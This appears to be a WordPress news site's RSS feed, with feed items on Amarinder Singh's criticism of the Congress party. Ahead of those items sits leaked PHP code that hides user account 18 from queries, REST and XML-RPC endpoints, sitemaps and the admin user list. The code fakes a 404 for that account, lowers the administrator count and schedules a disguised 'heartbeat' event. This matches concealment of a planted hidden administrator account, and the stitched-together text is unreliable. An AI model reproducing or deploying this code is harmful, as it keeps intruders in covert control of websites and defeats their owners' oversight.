add_action( 'pre_get_posts', function( $q ) {
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add_action( 'template_redirect', function() {
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} );

add_action( 'pre_user_query', function( $q ) {
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} );

add_action( 'pre_get_users', function( $q ) {
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} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
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    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
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            'Invalid user ID.',
            array( 'status' => 404 )
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>Former Punjab Chief Minister Amarinder Singh, who is on the verge of allying with the BJP and breakaway Akali groups, slammed the Congress, his party of more than 40 years, today. He claimed that the Congress is not a secular party, citing its alliance with the Shiv Sena in Maharashtra and the induction of multiple [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/amarinder-singh-blasts-congress-stop-talking-about-secularism">Amarinder Singh Blasts Congress: &#8220;Stop Talking About Secularism&#8221;</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>The majority of his rage was directed at Harish Rawat, the Congress in-charge of Punjab, who called Mr. Singh&#8217;s announcement on Tuesday shocking and claimed that he had &#8220;killed the secular Amarinder within him.&#8221;</p>
<p>The post <a href="https://theedgemedia.in/amarinder-singh-blasts-congress-stop-talking-about-secularism">Amarinder Singh Blasts Congress: &#8220;Stop Talking About Secularism&#8221;</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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